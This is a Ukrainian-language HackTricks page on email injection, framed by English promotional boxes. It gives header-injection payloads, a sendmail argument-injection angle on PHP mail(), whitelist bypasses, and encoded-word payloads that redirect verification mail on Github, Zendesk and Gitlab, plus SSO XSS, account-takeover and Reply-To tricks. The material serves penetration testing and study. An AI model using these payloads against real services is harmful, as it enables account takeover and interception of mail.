Email Injections

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які підтримуються найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

Впровадження в надісланому електронному листі

Впровадження Cc та Bcc після аргументу відправника

From:[e-mail]%0ACc:[e-mail],%0ABcc:[e-mail]

Повідомлення буде надіслано на облікові записи отримувача та отримувача1.

Inject argument

From:[e-mail]%0ATo:[e-mail]

Повідомлення буде надіслано оригінальному отримувачу та обліковому запису зловмисника.

Вставити аргумент Subject

From:[e-mail]%0ASubject:This is%20Fake%20Subject

Фальшива тема буде додана до оригінальної теми і в деяких випадках замінить її. Це залежить від поведінки поштового сервісу.

Змінити тіло повідомлення

Вставте два переводи рядка, а потім напишіть своє повідомлення, щоб змінити тіло повідомлення.

From:[e-mail]%0A%0AMy%20New%20%0Fake%20Message.

Експлуатація функції PHP mail()

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Параметр 5 ($additional_parameters)

Цей розділ буде базуватися на тому, як зловживати цим параметром, припускаючи, що зловмисник контролює його.

Цей параметр буде додано до командного рядка, який PHP буде використовувати для виклику бінарного файлу sendmail. Однак він буде очищений за допомогою функції escapeshellcmd($additional_parameters).

Зловмисник може впроваджувати додаткові параметри для sendmail в цьому випадку.

Відмінності в реалізації /usr/sbin/sendmail

sendmail інтерфейс надається програмним забезпеченням MTA для електронної пошти (Sendmail, Postfix, Exim тощо), встановленим на системі. Хоча базова функціональність (така як параметри -t -i -f) залишається такою ж з причин сумісності, інші функції та параметри значно варіюються в залежності від встановленого MTA.

Ось кілька прикладів різних сторінок man команди/інтерфейсу sendmail:

• Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html

• Postfix MTA: http://www.postfix.org/mailq.1.html

• Exim MTA: https://linux.die.net/man/8/eximReferences

В залежності від походження бінарного файлу sendmail були виявлені різні опції для зловживання ними та витоку файлів або навіть виконання довільних команд. Перевірте, як це зробити в https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Впровадження в ім'я електронної пошти

Зверніть увагу, що якщо вам вдасться створити обліковий запис у сервісі з довільним доменним ім'ям (як-от Github, Gitlab, CloudFlare Zero trust...) і підтвердити його, отримавши електронний лист для підтвердження на вашу адресу електронної пошти, ви можете отримати доступ до чутливих місць компанії жертви.

Ігноровані частини електронної пошти

Символи: +, - та {} у рідкісних випадках можуть використовуватися для тегування та ігноруються більшістю поштових серверів.

• Наприклад, [e-mail] → [e-mail]

Коментарі в дужках () на початку або в кінці також будуть ігноруватися.

• Наприклад, john.doe(intigriti)@example.com → [e-mail]

Обхід білого списку

Цитати

IP-адреси

Ви також можете використовувати IP-адреси як доменні імена в квадратних дужках:

• john.doe@[127.0.0.1]

• john.doe@[IPv6:2001:db8::1]

Кодування електронної пошти

Як пояснено в цьому дослідженні, імена електронної пошти також можуть містити закодовані символи:

• PHP 256 переповнення: Функція PHP chr буде продовжувати додавати 256 до символу, поки він не стане позитивним, а потім виконати операцію %256.

• String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

Мета цього трюку полягає в тому, щоб закінчити з впровадженням, як-от RCPT TO:<"[e-mail]>collab"@example.com> яке надішле електронний лист для підтвердження на іншу електронну адресу, ніж очікувалося (отже, щоб ввести іншу електронну адресу всередині імені електронної пошти та зламати синтаксис під час надсилання електронної пошти).

Різні кодування:

# Format
=? utf-8 ? q ? =41=42=43 ?= [e-mail] --> [e-mail]

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=[e-mail]
# utf-8
=?utf-8?q?=61=62=63?=[e-mail]
# utf-7
=?utf-7?q?<utf-7 encoded string>?=[e-mail]
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=[e-mail]
# base64
=?utf-8?b?QUJD?=[e-mail]
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=[e-mail]
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

• Github: =?x?q?collab=40psres.net=3e=00?=[e-mail]

• Зверніть увагу на закодований @ як =40, закодований > як =3e і null як =00

• Він надішле електронний лист для підтвердження на [e-mail]

• Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com

• Та ж сама хитрість, але з додаванням звичайної лапки на початку та закодованої лапки =22 перед закодованим @, а потім відкриттям і закриттям деяких лапок перед наступною електронною адресою, щоб виправити синтаксис, що використовується всередині Zendesk

• Він надішле електронний лист для підтвердження на [e-mail]

• Gitlab: =?x?q?collab=40psres.net_?=[e-mail]

• Зверніть увагу на використання підкреслення як пробілу для розділення адреси

• Він надішле електронний лист для підтвердження на [e-mail]

• Punycode: Використовуючи Punycode, було можливим впровадити тег <style в Joomla і зловживати ним для викрадення токена CSRF через ексфільтрацію CSS.

Tooling

• Є скрипт Burp Suite Turbo Intruder, щоб протестувати такі комбінації для спроби атаки на формати електронної пошти. Скрипт вже має потенційно робочі комбінації.

• Також можливо використовувати Hackvertor для створення атаки на розділення електронної пошти

Other vulns

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Third party SSO

XSS

Деякі сервіси, такі як github або salesforce, дозволяють вам створювати електронну адресу з XSS payloads на ній. Якщо ви можете використовувати цих постачальників для входу в інші сервіси і ці сервіси не очищають електронну пошту належним чином, ви можете викликати XSS.

Account-Takeover

Якщо SSO сервіс дозволяє вам створити обліковий запис без перевірки наданої електронної адреси (як salesforce) і потім ви можете використовувати цей обліковий запис для входу в інший сервіс, який довіряє salesforce, ви можете отримати доступ до будь-якого облікового запису. Зверніть увагу, що salesforce вказує, чи була надана електронна адреса перевірена, але так само програма повинна враховувати цю інформацію.

Reply-To

Ви можете надіслати електронний лист, використовуючи From: company.com і Replay-To: attacker.com, і якщо будь-яка автоматична відповідь буде надіслана через те, що електронний лист був надісланий з внутрішньої адреси, зловмисник може отримати цю відповідь.

Hard Bounce Rate

Деякі сервіси, такі як AWS, реалізують поріг, відомий як Hard Bounce Rate, зазвичай встановлений на 10%. Це критичний показник, особливо для сервісів доставки електронної пошти. Коли цей показник перевищується, сервіс, такий як електронна пошта AWS, може бути призупинений або заблокований.

Hard bounce відноситься до електронної пошти, яка була повернена відправнику, оскільки адреса отримувача є недійсною або неіснуючою. Це може статися з різних причин, таких як електронна пошта, надіслана на неіснуючу адресу, домен, який не є реальним, або відмова сервера отримувача приймати електронні листи.

У контексті AWS, якщо ви надсилаєте 1000 електронних листів і 100 з них призводять до hard bounces (через причини, такі як недійсні адреси або домени), це означатиме 10% hard bounce rate. Досягнення або перевищення цього показника може призвести до блокування або призупинення можливостей надсилання електронної пошти AWS SES (Simple Email Service).

Важливо підтримувати низький показник hard bounce rate, щоб забезпечити безперебійну службу електронної пошти та підтримувати репутацію відправника. Моніторинг і управління якістю електронних адрес у ваших списках розсилки можуть значно допомогти в досягненні цього.

Для отримання більш детальної інформації можна звернутися до офіційної документації AWS щодо обробки відмов і скарг AWS SES Bounce Handling.

References

• https://resources.infosecinstitute.com/email-injection/

• https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

• https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view

• https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Automate OffSec, EASM, and Custom Security Processes | Trickest